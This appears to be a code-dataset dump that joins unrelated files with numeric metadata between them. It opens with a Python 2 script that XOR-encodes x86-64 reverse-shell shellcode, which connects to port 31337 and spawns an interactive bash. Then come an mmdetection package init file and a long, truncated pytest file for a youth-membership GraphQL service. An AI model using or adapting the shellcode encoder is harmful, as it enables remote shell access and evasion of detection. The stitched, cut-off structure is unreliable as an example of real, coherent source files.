shellcode = bytearray("\x48\x31\xc0\xb0\x29\x48\x31\xff\x40\x80\xc7\x02\x48\x31\xf6\x48\x83\xc6\x01\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\xc7\x44\x24\xfc\x7f\x01\x01\x01\x66\xc7\x44\x24\xfa\x7a\x69\x89\x44\x24\xf6\xc6\x44\x24\xf8\x02\x48\x83\xec\x08\x48\x31\xc0\xb0\x2a\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x10\x0f\x05\x48\x31\xc0\xb0\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\xb0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\xb0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x50\x48\x31\xdb\x48\xbb\x2f\x2f\x2f\x2f\x62\x61\x73\x68\x53\x48\xbb\x2f\x2f\x2f\x2f\x2f\x62\x69\x6e\x53\x48\x89\xe7\x50\x66\x68\x2d\x69\x48\x89\xe6\x50\x56\x57\x48\x89\xe6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05")
encodedShellcode = ""
for i in shellcode:
xorEncoded = i^0xff
encodedShellcode += "0x%02x," % xorEncoded
print 'Encoded shellcode: %s' % encodedShellcode
sys.exit(0)
| 58.533333 | 669 | 0.738041 | 189 | 878 | 3.428571 | 0.37037 | 0.12963 | 0.097222 | 0.092593 | 0.296296 | 0.282407 | 0.226852 | 0.226852 | 0.115741 | 0.115741 | 0 | 0.303571 | 0.04328 | 878 | 14 | 670 | 62.714286 | 0.467857 | 0.022779 | 0 | 0 | 0 | 0.125 | 0.784131 | 0.751459 | 0 | 1 | 0.004667 | 0 | 0 | 0 | null | null | 0 | 0.125 | null | null | 0.125 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
d802d3de9a9300e9acd01f1a0a9dd3e857b0a220 | 126 | py | Python | mmdet/ops/psroi_pooling/__init__.py | tf2cvtk/mmdetection | da6768e8543f06bbdda85425f6879d42594d48b0 | [
"Apache-2.0"
] | null | null | null | mmdet/ops/psroi_pooling/__init__.py | tf2cvtk/mmdetection | da6768e8543f06bbdda85425f6879d42594d48b0 | [
"Apache-2.0"
] | null | null | null | mmdet/ops/psroi_pooling/__init__.py | tf2cvtk/mmdetection | da6768e8543f06bbdda85425f6879d42594d48b0 | [
"Apache-2.0"
] | null | null | null | from .functions.psroi_pool import psroi_pool
from .modules.psroi_pool import PSRoIPool
__all__ = ['psroi_pool', 'PSRoIPool']
| 25.2 | 44 | 0.801587 | 17 | 126 | 5.470588 | 0.470588 | 0.387097 | 0.322581 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.103175 | 126 | 4 | 45 | 31.5 | 0.823009 | 0 | 0 | 0 | 0 | 0 | 0.150794 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
d83986d371d89f3d7539c6dac32f841ab45c0ea9 | 51,436 | py | Python | youths/tests/test_graphql_mutations.py | City-of-Helsinki/youth-membership | 36f5324fa7444753d49fb476e71b09cc6e842dc2 | [
"MIT"
] | null | null | null | youths/tests/test_graphql_mutations.py | City-of-Helsinki/youth-membership | 36f5324fa7444753d49fb476e71b09cc6e842dc2 | [
"MIT"
] | 31 | 2020-07-02T11:26:39.000Z | 2022-03-12T00:50:49.000Z | youths/tests/test_graphql_mutations.py | City-of-Helsinki/youth-membership | 36f5324fa7444753d49fb476e71b09cc6e842dc2 | [
"MIT"
] | null | null | null | import json
from datetime import date, datetime, timedelta
from string import Template
from unittest.mock import ANY
import pytest
from django.utils import timezone
from freezegun import freeze_time
from graphql_relay.node.node import from_global_id, to_global_id
from common_utils.consts import PERMISSION_DENIED_ERROR, PROFILE_DOES_NOT_EXIST_ERROR
from common_utils.profile import ProfileAPI
from youths.consts import (
APPROVER_EMAIL_CANNOT_BE_EMPTY_FOR_MINORS_ERROR,
CANNOT_CREATE_YOUTH_PROFILE_IF_UNDER_13_YEARS_OLD_ERROR,
CANNOT_RENEW_YOUTH_PROFILE_ERROR,
CANNOT_SET_PHOTO_USAGE_PERMISSION_IF_UNDER_15_YEARS_ERROR,
)
from youths.enums import MembershipStatus, YouthLanguage
from youths.models import YouthProfile
from youths.tests.factories import (
ProfileAPITokenResponse,
RestrictedProfileAPIResponse,
YouthProfileFactory,
)
def test_normal_user_can_create_youth_profile_mutation(
rf, user_gql_client, mocker, my_profile_api_response, token_response
):
mocker.patch.object(
ProfileAPI, "fetch_my_profile", return_value=my_profile_api_response
)
mocker.patch.object(
ProfileAPI, "create_temporary_access_token", return_value=token_response
)
mocked_notification = mocker.patch("youths.models.send_notification")
profile_id = from_global_id(my_profile_api_response["id"])[1]
request = rf.post("/graphql")
request.user = user_gql_client.user
t = Template(
"""
mutation{
createMyYouthProfile(
input: {
youthProfile: {
schoolClass: "${schoolClass}"
schoolName: "${schoolName}"
languageAtHome: ${language}
approverEmail: "${approverEmail}"
birthDate: "${birthDate}"
}
profileApiToken: "token"
}
)
{
youthProfile {
id
schoolClass
schoolName
approverEmail
birthDate
}
}
}
"""
)
creation_data = {
"schoolClass": "2A",
"schoolName": "Alakoulu",
"approverEmail": "hyvaksyja@example.com",
"language": YouthLanguage.FINNISH.name,
"birthDate": "2004-04-11",
}
query = t.substitute(**creation_data)
expected_data = {
"youthProfile": {
# id is fetched from Profile API
"id": to_global_id(type="YouthProfileNode", id=profile_id),
"schoolClass": creation_data["schoolClass"],
"schoolName": creation_data["schoolName"],
"approverEmail": creation_data["approverEmail"],
"birthDate": creation_data["birthDate"],
}
}
executed = user_gql_client.execute(query, context=request)
assert dict(executed["data"]["createMyYouthProfile"]) == expected_data
mocked_notification.assert_called_once()
assert mocked_notification.call_args.kwargs["context"] == {
"youth_profile": YouthProfile.objects.get(pk=profile_id),
"youth_name": my_profile_api_response["first_name"],
"youth_membership_ui_base_url": ANY,
}
@pytest.mark.parametrize("minor", [True, False])
def test_profile_access_token_is_saved_for_minors_when_using_create_my_youth_profile(
rf, user_gql_client, mocker, my_profile_api_response, token_response, minor
):
"""Temporary profile access token can be used later when access to profile information
is needed e.g. when unauthenticated parent approves the youth membership."""
mocker.patch.object(
ProfileAPI, "fetch_my_profile", return_value=my_profile_api_response
)
mocker.patch.object(
ProfileAPI, "create_temporary_access_token", return_value=token_response
)
profile_id = from_global_id(my_profile_api_response["id"])[1]
today = date.today()
request = rf.post("/graphql")
request.user = user_gql_client.user
t = Template(
"""
mutation {
createMyYouthProfile (
input: {
youthProfile: {
schoolClass: "${schoolClass}"
schoolName: "${schoolName}"
languageAtHome: ${language}
approverEmail: "${approverEmail}"
birthDate: "${birthDate}"
}
profileApiToken: "token"
}
)
{
youthProfile {
id
}
}
}
"""
)
if minor:
birth_date = today.replace(year=today.year - 13)
else:
birth_date = today.replace(year=today.year - 19)
creation_data = {
"schoolClass": "2A",
"schoolName": "Alakoulu",
"approverEmail": "hyvaksyja@example.com",
"language": YouthLanguage.FINNISH.name,
"birthDate": birth_date.isoformat(),
}
query = t.substitute(**creation_data)
user_gql_client.execute(query, context=request)
youth_profile = YouthProfile.objects.get(pk=profile_id)
if minor:
assert youth_profile.profile_access_token == token_response["token"]
assert (
youth_profile.profile_access_token_expiration
== token_response["expires_at"]
)
else:
assert youth_profile.profile_access_token == ""
assert youth_profile.profile_access_token_expiration is None
def test_normal_user_over_18_years_old_can_create_approved_youth_profile_mutation(
rf, user_gql_client, mocker, my_profile_api_response, token_response
):
mocker.patch.object(
ProfileAPI, "fetch_my_profile", return_value=my_profile_api_response
)
mocker.patch.object(
ProfileAPI, "create_temporary_access_token", return_value=token_response
)
profile_id = from_global_id(my_profile_api_response["id"])[1]
request = rf.post("/graphql")
request.user = user_gql_client.user
today = date.today()
t = Template(
"""
mutation{
createMyYouthProfile(
input: {
youthProfile: {
schoolClass: "${schoolClass}"
schoolName: "${schoolName}"
birthDate: "${birthDate}"
}
profileApiToken: "token"
}
)
{
youthProfile {
id
schoolClass
schoolName
birthDate
membershipStatus
}
}
}
"""
)
birth_date = today.replace(year=today.year - 18) - timedelta(days=1)
creation_data = {
"schoolClass": "2A",
"schoolName": "Alakoulu",
"birthDate": birth_date.strftime("%Y-%m-%d"),
}
query = t.substitute(**creation_data)
expected_data = {
"youthProfile": {
"id": to_global_id(type="YouthProfileNode", id=profile_id),
"schoolClass": creation_data["schoolClass"],
"schoolName": creation_data["schoolName"],
"birthDate": creation_data["birthDate"],
"membershipStatus": "ACTIVE",
}
}
executed = user_gql_client.execute(query, context=request)
assert dict(executed["data"]["createMyYouthProfile"]) == expected_data
def test_user_cannot_create_youth_profile_without_approver_email_field_if_under_18_years_old(
rf, user_gql_client, mocker, my_profile_api_response
):
mocker.patch.object(
ProfileAPI, "fetch_my_profile", return_value=my_profile_api_response
)
request = rf.post("/graphql")
request.user = user_gql_client.user
today = date.today()
t = Template(
"""
mutation{
createMyYouthProfile(
input: {
youthProfile: {
birthDate: "${birthDate}"
}
profileApiToken: "token"
}
)
{
youthProfile {
birthDate
}
}
}
"""
)
birth_date = today.replace(year=today.year - 18) + timedelta(days=1)
creation_data = {
"birthDate": birth_date.strftime("%Y-%m-%d"),
}
query = t.substitute(**creation_data)
executed = user_gql_client.execute(query, context=request)
assert "errors" in executed
assert (
executed["errors"][0]["extensions"]["code"]
== APPROVER_EMAIL_CANNOT_BE_EMPTY_FOR_MINORS_ERROR
)
def test_user_cannot_create_youth_profile_if_under_13_years_old(rf, user_gql_client):
request = rf.post("/graphql")
request.user = user_gql_client.user
today = date.today()
t = Template(
"""
mutation{
createMyYouthProfile(
input: {
youthProfile: {
schoolClass: "${schoolClass}"
schoolName: "${schoolName}"
languageAtHome: ${language}
approverEmail: "${approverEmail}"
birthDate: "${birthDate}"
}
profileApiToken: "token"
}
)
{
youthProfile {
schoolClass
schoolName
approverEmail
birthDate
}
}
}
"""
)
birth_date = today.replace(year=today.year - 13) + timedelta(days=1)
creation_data = {
"schoolClass": "2A",
"schoolName": "Alakoulu",
"approverEmail": "hyvaksyja@ex.com",
"language": YouthLanguage.FINNISH.name,
"birthDate": birth_date.strftime("%Y-%m-%d"),
}
query = t.substitute(**creation_data)
executed = user_gql_client.execute(query, context=request)
assert "errors" in executed
assert (
executed["errors"][0]["extensions"]["code"]
== CANNOT_CREATE_YOUTH_PROFILE_IF_UNDER_13_YEARS_OLD_ERROR
)
def test_user_can_create_youth_profile_with_photo_usage_field_if_over_15_years_old(
rf, user_gql_client, mocker, my_profile_api_response, token_response
):
mocker.patch.object(
ProfileAPI, "fetch_my_profile", return_value=my_profile_api_response
)
mocker.patch.object(
ProfileAPI, "create_temporary_access_token", return_value=token_response
)
profile_id = from_global_id(my_profile_api_response["id"])[1]
request = rf.post("/graphql")
request.user = user_gql_client.user
today = date.today()
t = Template(
"""
mutation{
createMyYouthProfile(
input: {
youthProfile: {
photoUsageApproved: ${photoUsageApproved}
approverEmail: "${approverEmail}"
birthDate: "${birthDate}"
}
profileApiToken: "token"
}
)
{
youthProfile {
id
photoUsageApproved
approverEmail
birthDate
}
}
}
"""
)
birth_date = today.replace(year=today.year - 15) - timedelta(days=1)
creation_data = {
"approverEmail": "hyvaksyja@ex.com",
"photoUsageApproved": "true",
"birthDate": birth_date.strftime("%Y-%m-%d"),
}
query = t.substitute(**creation_data)
expected_data = {
"youthProfile": {
"id": to_global_id(type="YouthProfileNode", id=profile_id),
"photoUsageApproved": True,
"approverEmail": creation_data["approverEmail"],
"birthDate": creation_data["birthDate"],
}
}
executed = user_gql_client.execute(query, context=request)
assert dict(executed["data"]["createMyYouthProfile"]) == expected_data
def test_user_cannot_create_youth_profile_with_photo_usage_field_if_under_15_years_old(
rf, user_gql_client
):
request = rf.post("/graphql")
request.user = user_gql_client.user
today = date.today()
t = Template(
"""
mutation{
createMyYouthProfile(
input: {
youthProfile: {
photoUsageApproved: ${photoUsageApproved}
approverEmail: "${approverEmail}"
birthDate: "${birthDate}"
}
profileApiToken: "token"
}
)
{
youthProfile {
photoUsageApproved
approverEmail
birthDate
}
}
}
"""
)
birth_date = today.replace(year=today.year - 15) + timedelta(days=1)
creation_data = {
"approverEmail": "hyvaksyja@ex.com",
"photoUsageApproved": "true",
"birthDate": birth_date.strftime("%Y-%m-%d"),
}
query = t.substitute(**creation_data)
executed = user_gql_client.execute(query, context=request)
assert "errors" in executed
assert (
executed["errors"][0]["extensions"]["code"]
== CANNOT_SET_PHOTO_USAGE_PERMISSION_IF_UNDER_15_YEARS_ERROR
)
def test_normal_user_can_update_youth_profile_mutation(rf, user_gql_client):
request = rf.post("/graphql")
request.user = user_gql_client.user
youth_profile = YouthProfileFactory(user=user_gql_client.user)
t = Template(
"""
mutation{
updateMyYouthProfile(
input: {
youthProfile: {
schoolClass: "${schoolClass}"
birthDate: "${birthDate}"
}
profileApiToken: "token"
}
)
{
youthProfile {
schoolClass
schoolName
birthDate
}
}
}
"""
)
creation_data = {"schoolClass": "2A", "birthDate": "2002-02-02"}
query = t.substitute(**creation_data)
expected_data = {
"youthProfile": {
"schoolClass": creation_data["schoolClass"],
"schoolName": youth_profile.school_name,
"birthDate": creation_data["birthDate"],
}
}
executed = user_gql_client.execute(query, context=request)
assert dict(executed["data"]["updateMyYouthProfile"]) == expected_data
@pytest.mark.parametrize("resend", [True, False])
def test_normal_user_can_resend_request_notification_on_update(
rf, user_gql_client, mocker, my_profile_api_response, token_response, resend
):
mocker.patch.object(
ProfileAPI, "fetch_my_profile", return_value=my_profile_api_response
)
mocker.patch.object(
ProfileAPI, "create_temporary_access_token", return_value=token_response
)
mocked_notification = mocker.patch("youths.models.send_notification")
request = rf.post("/graphql")
request.user = user_gql_client.user
youth_profile = YouthProfileFactory(user=user_gql_client.user)
original_approval_token = youth_profile.approval_token
original_profile_access_token = youth_profile.profile_access_token
t = Template(
"""
mutation{
updateMyYouthProfile(
input: {
youthProfile: {
resendRequestNotification: ${resend}
}
profileApiToken: "token"
}
)
{
youthProfile {
id
}
}
}
"""
)
query = t.substitute(resend=json.dumps(resend))
user_gql_client.execute(query, context=request)
youth_profile.refresh_from_db()
if resend:
assert youth_profile.approval_token
assert youth_profile.approval_token != original_approval_token
assert youth_profile.profile_access_token == token_response["token"]
mocked_notification.assert_called_once()
assert mocked_notification.call_args.kwargs["context"] == {
"youth_profile": YouthProfile.objects.get(pk=youth_profile.pk),
"youth_name": my_profile_api_response["first_name"],
"youth_membership_ui_base_url": ANY,
}
else:
assert youth_profile.approval_token == original_approval_token
assert youth_profile.profile_access_token == original_profile_access_token
def test_user_can_update_youth_profile_with_photo_usage_field_if_over_15_years_old(
rf, user_gql_client
):
request = rf.post("/graphql")
request.user = user_gql_client.user
YouthProfileFactory(user=user_gql_client.user)
today = date.today()
t = Template(
"""
mutation{
updateMyYouthProfile(
input: {
youthProfile: {
photoUsageApproved: ${photoUsageApproved}
birthDate: "${birthDate}"
}
profileApiToken: "token"
}
)
{
youthProfile {
photoUsageApproved
birthDate
}
}
}
"""
)
birth_date = today.replace(year=today.year - 15) - timedelta(days=1)
creation_data = {
"photoUsageApproved": "true",
"birthDate": birth_date.strftime("%Y-%m-%d"),
}
query = t.substitute(**creation_data)
expected_data = {
"youthProfile": {
"photoUsageApproved": True,
"birthDate": creation_data["birthDate"],
}
}
executed = user_gql_client.execute(query, context=request)
assert dict(executed["data"]["updateMyYouthProfile"]) == expected_data
def test_user_cannot_update_youth_profile_with_photo_usage_field_if_under_15_years_old(
rf, user_gql_client
):
request = rf.post("/graphql")
request.user = user_gql_client.user
YouthProfileFactory(user=user_gql_client.user)
today = date.today()
t = Template(
"""
mutation{
updateMyYouthProfile(
input: {
youthProfile: {
photoUsageApproved: ${photoUsageApproved}
birthDate: "${birthDate}"
}
profileApiToken: "token"
}
)
{
youthProfile {
photoUsageApproved
birthDate
}
}
}
"""
)
birth_date = today.replace(year=today.year - 15) + timedelta(days=1)
creation_data = {
"photoUsageApproved": "true",
"birthDate": birth_date.strftime("%Y-%m-%d"),
}
query = t.substitute(**creation_data)
executed = user_gql_client.execute(query, context=request)
assert "errors" in executed
assert (
executed["errors"][0]["extensions"]["code"]
== CANNOT_SET_PHOTO_USAGE_PERMISSION_IF_UNDER_15_YEARS_ERROR
)
def test_user_can_update_youth_profile_with_photo_usage_field_if_over_15_years_old_based_on_existing_birth_date(
rf, user_gql_client
):
request = rf.post("/graphql")
request.user = user_gql_client.user
today = date.today()
birth_date = today.replace(year=today.year - 15) - timedelta(days=1)
YouthProfileFactory(user=user_gql_client.user, birth_date=birth_date)
t = Template(
"""
mutation{
updateMyYouthProfile(
input: {
youthProfile: {
photoUsageApproved: ${photoUsageApproved}
}
profileApiToken: "token"
}
)
{
youthProfile {
photoUsageApproved
}
}
}
"""
)
creation_data = {"photoUsageApproved": "true"}
query = t.substitute(**creation_data)
expected_data = {"youthProfile": {"photoUsageApproved": True}}
executed = user_gql_client.execute(query, context=request)
assert dict(executed["data"]["updateMyYouthProfile"]) == expected_data
def test_user_cannot_update_youth_profile_with_photo_usage_field_if_under_15_years_old_based_on_existing_birth_date(
rf, user_gql_client
):
request = rf.post("/graphql")
request.user = user_gql_client.user
today = date.today()
birth_date = today.replace(year=today.year - 15) + timedelta(days=1)
YouthProfileFactory(user=user_gql_client.user, birth_date=birth_date)
t = Template(
"""
mutation{
updateMyYouthProfile(
input: {
youthProfile: {
photoUsageApproved: ${photoUsageApproved}
}
profileApiToken: "token"
}
)
{
youthProfile {
photoUsageApproved
}
}
}
"""
)
creation_data = {"photoUsageApproved": "true"}
query = t.substitute(**creation_data)
executed = user_gql_client.execute(query, context=request)
assert "errors" in executed
assert (
executed["errors"][0]["extensions"]["code"]
== CANNOT_SET_PHOTO_USAGE_PERMISSION_IF_UNDER_15_YEARS_ERROR
)
def test_staff_user_can_update_youth_profile_with_photo_usage_field_if_under_15_years_old(
rf, staff_user_gql_client
):
user = staff_user_gql_client.user
request = rf.post("/graphql")
request.user = user
# Under 15 years
today = date.today()
birth_date = today.replace(year=today.year - 15) + timedelta(days=1)
youth_profile = YouthProfileFactory(birth_date=birth_date)
t = Template(
"""
mutation {
updateYouthProfile(input:{
id: \"${id}\",
youthProfile: {
photoUsageApproved: ${photo_usage_approved}
}
}) {
youthProfile {
photoUsageApproved
}
}
}
"""
)
mutation = t.substitute(
id=to_global_id(type="YouthProfileNode", id=youth_profile.pk),
photo_usage_approved="true",
)
executed = staff_user_gql_client.execute(mutation, context=request)
expected_data = {"youthProfile": {"photoUsageApproved": True}}
youth_profile.refresh_from_db()
assert "errors" not in executed
assert youth_profile.photo_usage_approved
assert dict(executed["data"]["updateYouthProfile"]) == expected_data
def test_anon_user_can_approve_with_token(
rf, anon_user_gql_client, youth_profile, mocker, restricted_profile_response
):
mocker.patch.object(
ProfileAPI,
"fetch_profile_with_temporary_access_token",
return_value=restricted_profile_response,
)
request = rf.post("/graphql")
request.user = anon_user_gql_client.user
t = Template(
"""
mutation{
approveYouthProfile(
input: {
approvalToken: "${token}",
approvalData: {
photoUsageApproved: true
approverFirstName: "${approver_first_name}"
approverLastName: "${approver_last_name}"
approverPhone: "${approver_phone}"
approverEmail: "${approver_email}"
birthDate: "${birthDate}"
}
}
)
{
youthProfile {
photoUsageApproved
approverFirstName
approverLastName
approverPhone
approverEmail
birthDate
}
}
}
"""
)
approval_data = {
"token": youth_profile.approval_token,
"approver_first_name": "Teppo",
"approver_last_name": "Testi",
"approver_phone": "0401234567",
"approver_email": "teppo@testi.com",
"birthDate": "2002-02-02",
}
query = t.substitute(**approval_data)
expected_data = {
"youthProfile": {
"photoUsageApproved": True,
"approverFirstName": approval_data["approver_first_name"],
"approverLastName": approval_data["approver_last_name"],
"approverPhone": approval_data["approver_phone"],
"approverEmail": approval_data["approver_email"],
"birthDate": approval_data["birthDate"],
}
}
executed = anon_user_gql_client.execute(query, context=request)
assert dict(executed["data"]["approveYouthProfile"]) == expected_data
youth_profile.refresh_from_db()
assert youth_profile.membership_status == MembershipStatus.ACTIVE
def test_approving_with_token_sends_confirmation_message(
rf, youth_profile, mocker, anon_user_gql_client, restricted_profile_response
):
mocker.patch.object(
ProfileAPI,
"fetch_profile_with_temporary_access_token",
return_value=restricted_profile_response,
)
request = rf.post("/graphql")
request.user = anon_user_gql_client.user
mocked_notification = mocker.patch("youths.schema.mutations.send_notification")
t = Template(
"""
mutation{
approveYouthProfile(
input: {
approvalToken: "${token}",
approvalData: {}
}
)
{
youthProfile {
id
}
}
}
"""
)
query = t.substitute(token=youth_profile.approval_token)
anon_user_gql_client.execute(query, context=request)
mocked_notification.assert_called_once()
assert mocked_notification.call_args.kwargs["context"] == {
"youth_profile": YouthProfile.objects.get(pk=youth_profile.pk),
"youth_name": restricted_profile_response["first_name"],
"youth_membership_ui_base_url": ANY,
}
assert (
mocked_notification.call_args.kwargs["email"]
== restricted_profile_response["email"]
)
@pytest.mark.parametrize("missing", [True, False])
def test_profile_access_token_expired_error(
rf, youth_profile, anon_user_gql_client, missing
):
request = rf.post("/graphql")
request.user = anon_user_gql_client.user
if missing:
youth_profile.profile_access_token = ""
youth_profile.profile_access_token_expiration = None
else: # Token old
youth_profile.profile_access_token = "token"
youth_profile.profile_access_token_expiration = timezone.now() - timedelta(
days=1
)
youth_profile.save()
t = Template(
"""
mutation{
approveYouthProfile(
input: {
approvalToken: "${token}",
approvalData: {}
}
)
{
youthProfile {
id
}
}
}
"""
)
query = t.substitute(token=youth_profile.approval_token)
executed = anon_user_gql_client.execute(query, context=request)
assert executed["errors"][0].get("extensions").get("code") == "TOKEN_EXPIRED_ERROR"
def test_missing_primary_email_error(rf, youth_profile, anon_user_gql_client, mocker):
r = RestrictedProfileAPIResponse(email=None)
mocker.patch.object(
ProfileAPI, "fetch_profile_with_temporary_access_token", return_value=r
)
request = rf.post("/graphql")
request.user = anon_user_gql_client.user
t = Template(
"""
mutation{
approveYouthProfile(
input: {
approvalToken: "${token}",
approvalData: {}
}
)
{
youthProfile {
id
}
}
}
"""
)
query = t.substitute(token=youth_profile.approval_token)
executed = anon_user_gql_client.execute(query, context=request)
assert (
executed["errors"][0].get("extensions").get("code")
== "PROFILE_HAS_NO_PRIMARY_EMAIL_ERROR"
)
def test_youth_profile_expiration_should_renew_and_be_approvable(
rf,
user_gql_client,
anon_user_gql_client,
mocker,
my_profile_api_response,
restricted_profile_response,
):
mocker.patch.object(
ProfileAPI, "fetch_my_profile", return_value=my_profile_api_response
)
mocker.patch.object(
ProfileAPI,
"fetch_profile_with_temporary_access_token",
return_value=restricted_profile_response,
)
request = rf.post("/graphql")
request.user = user_gql_client.user
# Let's create a youth profile in the 2020
with freeze_time("2020-05-02"):
today = date.today()
youth_profile = YouthProfileFactory(
user=user_gql_client.user,
approved_time=datetime.today(),
birth_date=today.replace(year=today.year - 15),
)
# In the year 2021, let's renew it
with freeze_time("2021-05-01"):
r = ProfileAPITokenResponse()
mocker.patch.object(ProfileAPI, "create_temporary_access_token", return_value=r)
mutation = """
mutation {
renewMyYouthProfile(input: {
profileApiToken: "token"
}) {
youthProfile {
membershipStatus
}
}
}
"""
executed = user_gql_client.execute(mutation, context=request)
expected_data = {
"renewMyYouthProfile": {"youthProfile": {"membershipStatus": "RENEWING"}}
}
assert dict(executed["data"]) == expected_data
# Later in the year 2021, let's check our membership status
with freeze_time("2021-09-01"):
query = """
{
myYouthProfile {
membershipStatus
}
}
"""
expected_data = {"myYouthProfile": {"membershipStatus": "PENDING"}}
executed = user_gql_client.execute(query, context=request)
assert dict(executed["data"]) == expected_data
# Let's go back in time a few months and re-approve the membership
with freeze_time("2021-05-02"):
request.user = anon_user_gql_client.user
t = Template(
"""
mutation{
approveYouthProfile(
input: {
approvalToken: "${token}",
approvalData: {}
}
)
{
youthProfile {
membershipStatus
}
}
}
"""
)
youth_profile.refresh_from_db()
query = t.substitute(token=youth_profile.approval_token)
expected_data = {
"approveYouthProfile": {"youthProfile": {"membershipStatus": "ACTIVE"}}
}
executed = anon_user_gql_client.execute(query, context=request)
assert dict(executed["data"]) == expected_data
def test_youth_profile_renewal_sends_approval_message_for_a_minor(
rf,
user_gql_client,
anon_user_gql_client,
mocker,
my_profile_api_response,
token_response,
):
mocker.patch.object(
ProfileAPI, "fetch_my_profile", return_value=my_profile_api_response
)
mocker.patch.object(
ProfileAPI, "create_temporary_access_token", return_value=token_response
)
mocked_notification = mocker.patch("youths.models.send_notification")
request = rf.post("/graphql")
request.user = user_gql_client.user
# Create a youth profile in the 2020
with freeze_time("2020-05-02"):
today = date.today()
youth_profile = YouthProfileFactory(
user=user_gql_client.user,
approved_time=datetime.today(),
birth_date=today.replace(year=today.year - 15),
)
# Renew the profile in 2021
with freeze_time("2021-05-01"):
mutation = """
mutation {
renewMyYouthProfile(input: {
profileApiToken: "token"
}) {
youthProfile {
membershipStatus
}
}
}
"""
user_gql_client.execute(mutation, context=request)
youth_profile.refresh_from_db()
assert youth_profile.profile_access_token == token_response["token"]
assert (
youth_profile.profile_access_token_expiration
== token_response["expires_at"]
)
mocked_notification.assert_called_once()
assert mocked_notification.call_args.kwargs["context"] == {
"youth_profile": YouthProfile.objects.get(pk=youth_profile.pk),
"youth_name": my_profile_api_response["first_name"],
"youth_membership_ui_base_url": ANY,
}
def test_youth_profile_expiration_should_be_renewable_by_staff_user(
rf, user, staff_user_gql_client, anon_user_gql_client
):
"""Profiles renew by staff are set as approved."""
staff_user = staff_user_gql_client.user
request = rf.post("/graphql")
request.user = staff_user
# Let's create a youth profile in the 2020
with freeze_time("2020-05-02"):
today = date.today()
youth_profile = YouthProfileFactory(
user=user,
approved_time=datetime.today(),
birth_date=today.replace(year=today.year - 15),
)
# In the year 2021, let's renew it
with freeze_time("2021-05-01"):
t = Template(
"""
mutation {
renewYouthProfile(input:{
id: \"${id}\"
}) {
youthProfile {
membershipStatus
}
}
}
"""
)
mutation = t.substitute(
id=to_global_id(type="YouthProfileNode", id=youth_profile.pk),
)
executed = staff_user_gql_client.execute(mutation, context=request)
expected_data = {
"renewYouthProfile": {"youthProfile": {"membershipStatus": "ACTIVE"}}
}
assert dict(executed["data"]) == expected_data
def test_youth_profile_expiration_for_over_18_years_old_should_renew_and_change_to_active(
rf, user_gql_client, anon_user_gql_client
):
request = rf.post("/graphql")
request.user = user_gql_client.user
# Let's create a youth profile in the 2020
with freeze_time("2020-05-02"):
today = date.today()
YouthProfileFactory(
user=user_gql_client.user,
approved_time=datetime.today(),
birth_date=today.replace(year=today.year - 18, day=today.day - 1),
)
# In the year 2021, let's renew it
with freeze_time("2021-05-01"):
mutation = """
mutation {
renewMyYouthProfile(input:{
profileApiToken: "token"
}) {
youthProfile {
membershipStatus
}
}
}
"""
executed = user_gql_client.execute(mutation, context=request)
expected_data = {
"renewMyYouthProfile": {"youthProfile": {"membershipStatus": "ACTIVE"}}
}
assert dict(executed["data"]) == expected_data
def test_should_not_be_able_to_renew_pending_youth_profile(rf, user_gql_client):
request = rf.post("/graphql")
request.user = user_gql_client.user
with freeze_time("2020-05-15"):
today = date.today()
YouthProfileFactory(
user=user_gql_client.user,
birth_date=today.replace(year=today.year - 18, day=today.day - 1),
)
with freeze_time("2020-06-02"):
# test query
query = """
{
myYouthProfile {
membershipStatus
renewable
}
}
"""
expected_data = {
"myYouthProfile": {"membershipStatus": "PENDING", "renewable": False}
}
executed = user_gql_client.execute(query, context=request)
assert dict(executed["data"]) == expected_data
# test mutation
mutation = """
mutation {
renewMyYouthProfile(input:{
profileApiToken: "token"
}) {
youthProfile {
membershipStatus
}
}
}
"""
executed = user_gql_client.execute(mutation, context=request)
assert (
executed["errors"][0].get("extensions").get("code")
== CANNOT_RENEW_YOUTH_PROFILE_ERROR
)
def test_staff_user_can_create_youth_profile(
rf, staff_user_gql_client, mocker, profile_api_response
):
mocker.patch.object(ProfileAPI, "fetch_profile", return_value=profile_api_response)
profile_id = from_global_id(profile_api_response["id"])[1]
profile_global_id = to_global_id(type="YouthProfileNode", id=profile_id)
user = staff_user_gql_client.user
request = rf.post("/graphql")
request.user = user
today = date.today()
birth_date = today.replace(year=today.year - 13) - timedelta(days=1)
youth_profile_data = {
"id": profile_global_id,
"birth_date": birth_date.strftime("%Y-%m-%d"),
"school_name": "Koulu",
"school_class": "2B",
"language_at_home": YouthLanguage.ENGLISH.name,
"approver_first_name": "Jane",
"approver_last_name": "Doe",
"approver_phone": "040-1234567",
"approver_email": "jane.doe@example.com",
}
t = Template(
"""
mutation {
createYouthProfile(
input: {
id: \"${id}\",
youthProfile: {
birthDate: \"${birth_date}\",
schoolName: \"${school_name}\",
schoolClass: \"${school_class}\",
languageAtHome: ${language_at_home},
approverEmail: \"${approver_email}\",
approverPhone: \"${approver_phone}\",
approverFirstName: \"${approver_first_name}\",
approverLastName: \"${approver_last_name}\",
}
profileApiToken: "token"
}
) {
youthProfile {
id
birthDate
schoolName
schoolClass
languageAtHome
approverEmail
approverPhone
approverFirstName
approverLastName
}
}
}
"""
)
query = t.substitute(**youth_profile_data)
expected_data = {
"createYouthProfile": {
"youthProfile": {
"id": youth_profile_data["id"],
"birthDate": youth_profile_data["birth_date"],
